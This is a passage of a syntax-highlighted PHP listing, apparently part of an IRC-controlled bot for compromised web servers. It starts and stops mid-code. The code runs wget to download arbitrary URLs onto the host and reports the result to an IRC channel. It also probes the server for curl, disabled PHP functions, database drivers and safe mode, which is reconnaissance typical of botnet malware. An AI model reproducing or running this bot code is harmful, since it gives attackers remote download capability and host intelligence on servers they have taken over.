564:&lt;/span&gt;                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Succesfully Download8&quot;&lt;/span&gt; .$url.&lt;span style=&quot;color: #006080&quot;&gt;&quot; and Saved at8 &quot;&lt;/span&gt;.getcwd().DS.$filename.&lt;span style=&quot;color: #006080&quot;&gt;&quot;&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum565&quot;&gt; 565:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum566&quot;&gt; 566:&lt;/span&gt;             &lt;span style=&quot;color: #0000ff&quot;&gt;elseif&lt;/span&gt;(execve(&lt;span style=&quot;color: #006080&quot;&gt;&quot;wget $url -O $filename&quot;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum567&quot;&gt; 567:&lt;/span&gt;                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum568&quot;&gt; 568:&lt;/span&gt;                     $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Succesfully Download8&quot;&lt;/span&gt; .$url.&lt;span style=&quot;color: #006080&quot;&gt;&quot; and Saved at8 &quot;&lt;/span&gt;.getcwd().DS.$filename.&lt;span style=&quot;color: #006080&quot;&gt;&quot;&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum569&quot;&gt; 569:&lt;/span&gt;                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum570&quot;&gt; 570:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum571&quot;&gt; 571:&lt;/span&gt;                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum572&quot;&gt; 572:&lt;/span&gt;                 $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Unable to download file!&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum573&quot;&gt; 573:&lt;/span&gt;                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum574&quot;&gt; 574:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum575&quot;&gt; 575:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum576&quot;&gt; 576:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; supportedCurl() {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum577&quot;&gt; 577:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(function_exists(&lt;span style=&quot;color: #006080&quot;&gt;&#39;curl_version&#39;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum578&quot;&gt; 578:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum579&quot;&gt; 579:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;8Yes&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum580&quot;&gt; 580:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum581&quot;&gt; 581:&lt;/span&gt;             &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum582&quot;&gt; 582:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum583&quot;&gt; 583:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;4No&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum584&quot;&gt; 584:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum585&quot;&gt; 585:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum586&quot;&gt; 586:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum587&quot;&gt; 587:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; disabledFunc() {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum588&quot;&gt; 588:&lt;/span&gt;         $func = ini_get(&lt;span style=&quot;color: #006080&quot;&gt;&quot;disable_functions&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum589&quot;&gt; 589:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($func)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum590&quot;&gt; 590:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum591&quot;&gt; 591:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;4&quot;&lt;/span&gt;.$func.&lt;span style=&quot;color: #006080&quot;&gt;&quot;&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum592&quot;&gt; 592:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum593&quot;&gt; 593:&lt;/span&gt;             &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum594&quot;&gt; 594:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum595&quot;&gt; 595:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;8None&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum596&quot;&gt; 596:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum597&quot;&gt; 597:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum598&quot;&gt; 598:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum599&quot;&gt; 599:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; supportedDatabase() {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum600&quot;&gt; 600:&lt;/span&gt;         $temp=&lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum601&quot;&gt; 601:&lt;/span&gt;             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(function_exists(&lt;span style=&quot;color: #006080&quot;&gt;&#39;mysql_get_client_info&#39;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum602&quot;&gt; 602:&lt;/span&gt;                 $temp[] = &lt;span style=&quot;color: #006080&quot;&gt;&quot;8MySql (&quot;&lt;/span&gt;.mysql_get_client_info().&lt;span style=&quot;color: #006080&quot;&gt;&quot;)&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum603&quot;&gt; 603:&lt;/span&gt;             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(function_exists(&lt;span style=&quot;color: #006080&quot;&gt;&#39;mssql_connect&#39;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum604&quot;&gt; 604:&lt;/span&gt;                 $temp[] = &lt;span style=&quot;color: #006080&quot;&gt;&quot;8MSSQL&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum605&quot;&gt; 605:&lt;/span&gt;             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(function_exists(&lt;span style=&quot;color: #006080&quot;&gt;&#39;pg_connect&#39;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum606&quot;&gt; 606:&lt;/span&gt;                 $temp[] = &lt;span style=&quot;color: #006080&quot;&gt;&quot;8PostgreSQL&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum607&quot;&gt; 607:&lt;/span&gt;             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(function_exists(&lt;span style=&quot;color: #006080&quot;&gt;&#39;oci_connect&#39;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum608&quot;&gt; 608:&lt;/span&gt;                 $temp[] = &lt;span style=&quot;color: #006080&quot;&gt;&quot;8Oracle&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum609&quot;&gt; 609:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; implode(&lt;span style=&quot;color: #006080&quot;&gt;&#39;, &#39;&lt;/span&gt;, $temp);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum610&quot;&gt; 610:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum611&quot;&gt; 611:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum612&quot;&gt; 612:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum613&quot;&gt; 613:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; safeMode() {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 